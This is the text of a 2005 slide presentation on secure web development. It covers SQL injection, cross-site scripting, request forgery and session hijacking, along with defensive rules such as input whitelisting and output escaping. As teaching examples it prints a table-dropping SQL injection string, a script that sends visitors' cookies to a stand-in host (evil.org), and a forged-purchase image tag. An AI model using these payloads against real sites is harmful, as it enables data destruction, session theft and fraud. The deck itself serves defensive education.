Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional MLS 9/9/2005 Developing "Secure" Web Applications 1 Common Myths of Database Security Corporate Firewall Office Firewall Updated Virus Defs Tightly Secured Server Obsessive SysAdmin Impenetrable Database ? Something is STILL missing ! 9/9/2005 Developing "Secure" Web Applications 2 Do You Think You’re Safe ? w/o Application-level Security, a hacker could: Alter any data directly in your database Selectively delete or alter any listings Delete your entire listings database Harvest user’s login info from your site Do malicious things to your site’s users Lesson: We live in perilous times 9/9/2005 Developing "Secure" Web Applications 3 Presentation Outline What Application Security is Why Application Security is hard Common Application Security Lingo The Application Security Golden Rule Preventing SQL Injection exploits Preventing XSS / XSRF exploits Preventing Session Hijacking exploits Conclusion 9/9/2005 Developing "Secure" Web Applications 4 What Application Security is NOT It’s not a “secure portal” It’s not a product you can purchase It’s not something you can easily add as an afterthought It’s not a “black & white” measurement What Application Security IS It’s a mindset that developer’s keep It’s a set of rules for developers to follow It’s measured in “varying shades of grey” 9/9/2005 Developing "Secure" Web Applications 5 Why Application Security is Hard Security requires strict development rules Good security takes time to implement Developers tend to be “Lazy Geniuses” Management wants software quickly and with minimal money & effort “We can always issue a security patch later if we find something wrong” “No one is REALLY going to hack us” 9/9/2005 Developing "Secure" Web Applications 6 Application Security Lingo 1 SQL Injection Inadvertently allowing a hacker to “inject” SQL queries into your database using YOUR OWN web forms. XSS – “Cross Site Scripting” Inadvertently allowing a hacker to “inject” JavaScript into your web pages using YOUR OWN web forms. 9/9/2005 Developing "Secure" Web Applications 7 Application Security Lingo 2 XSRF – “Cross Site Request Forgery” Inadvertently allowing a hacker to “inject” dangerous HTML into your web pages using YOUR OWN web forms. Session HiJacking Inadvertently allowing a hacker to “capture” a session identifier from a logged in user of your site and hijack their server session variables. 9/9/2005 Developing "Secure" Web Applications 8 SECURE Web Development Rules 1. Filter ALL Input 2. Escape ALL Output “A little paranoia goes a long way…” 9/9/2005 Developing "Secure" Web Applications 9 SQL Injection Example 1: <form action="/process" method="POST"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> Form Backend SQL: insert into my_table values (‘FORM{color}’) 9/9/2005 Developing "Secure" Web Applications 10 SQL Injection Example 2: A hacker then saves your form HTML to their computer and modifies it to read: <form action="http://yoursite.com/process" method="POST"> <input type="text" name="color"> <input type="submit" /> </form> The hacker then submits his new form with this text: red’); DROP TABLE my_table; -- Q: What just happened ? 9/9/2005 Developing "Secure" Web Applications 11 SQL Injection Example 3: Hacker submitted the form with this text: red’); DROP TABLE my_table; -- The backend SQL then becomes: insert into my_table values (‘red’); DROP TABLE my_table; --’) Q: what just happened ? A: my_table just went bye bye 9/9/2005 Developing "Secure" Web Applications 12 FILTER ALL INPUT Identify source of your data Escape all “special” chars for your DB Assume submitted data will be bad For “text” input fields, check string length For numeric fields, check value ranges ALWAYS use a “White List” approach Employ a naming convention to identify “filtered” data from unfiltered data Lesson: This takes work to do it correctly 9/9/2005 Developing "Secure" Web Applications 13 Error Messages Error messages should come in 2 flavors: A user friendly error message that the user sees in the browser. Technical details which are logged to the server – possibly containing SQL errors, etc. Users should NEVER see SQL statements or error messages which contain references to your database tables, etc. 9/9/2005 Developing "Secure" Web Applications 14 White List Approach to Filtering // initialize array to hold filtered values CLEAN = new Array(); // Filter data coming in from HTML form switch(FORM{color}) { case ‘red’: case ‘green’: case ‘blue’: CLEAN{color} = FORM{color}; break; } 9/9/2005 Developing "Secure" Web Applications 15 XSS Example 1: <form action=“/guestbook" method="POST"> <textarea name=“comments"></textarea> <input type="submit" /> </form> Form Backend SQL: insert into guests values (‘FORM{comments}’) 9/9/2005 Developing "Secure" Web Applications 16 XSS Example 2: A hacker then posts his / her “comments” to your guest book: <script> document.location = 'http://evil.org/steal_cookies?cookies=' + document.cookie; </script> What happens the next time someone views this guestbook entry ? 9/9/2005 Developing "Secure" Web Applications 17 “Cross Site Request Forgery” [ XSRF ] Example: What if a renowned author / hacker posted these “comments” ? <img src=“http://amazon.com/buy.cgi?isbn=0596X” /> Hi. I just _LOVE_ your site. Q: What happens the next time someone views this guestbook entry ? Q: What if they were just on amazon.com and are still logged in over there ? A: You’ve got to love amazon.com’s 1-click ordering… 9/9/2005 Developing "Secure" Web Applications 18 ESCAPE ALL OUTPUT GOAL: Prevent XSS = “Cross Site Scripting” & XSRF = “Cross-Site Request Forgeries” Identify source of your data Always assume data contains HTML/JavaScript Translate ALL magic chars before displaying them to user’s browser Bare minimum 4 characters to escape: < > " & 9/9/2005 → → → → &lt; &gt; &quot; &amp; Developing "Secure" Web Applications 19 Output Escaping Q & A Q: When should I escape output ? A: Whenever you are displaying a variable Q: When do I NOT have to escape the output ? A: If you have just SET the contents to a known value - i.e. an integer counter Lesson: It’s a good habit to form 9/9/2005 Developing "Secure" Web Applications 20 Other XSS Safety Measures XSS and related exploits typically employ JavaScript to access “trusted” data such as browser cookies, session IDs, etc. You can LIMIT JavaScript access to cookie data in some browsers if you set the cookie with the “HttpOnly” flag. Use the ‘user-agent’ passed in from browser as an additional identifier. Store in server session, and if it ever changes, direct user back to login screen. 9/9/2005 Developing "Secure" Web Applications 21 Preventing Session Hijacking Only store SESSION_ID in COOKIES – never pass it in POST or GET variables. Set COOKIES with “HttpOnly” flag. This prevents JavaScript access to cookies. Generate random text string as a hidden form variable on each form. Store text string in server session and compare upon form submission. If not a match, problem! 9/9/2005 Developing "Secure" Web Applications 22 Credits PHP Security Consortium Library http://phpsec.org/library/ PHP Security Guide http://phpsec.org/projects/guide/ 9/9/2005 Developing "Secure" Web Applications 23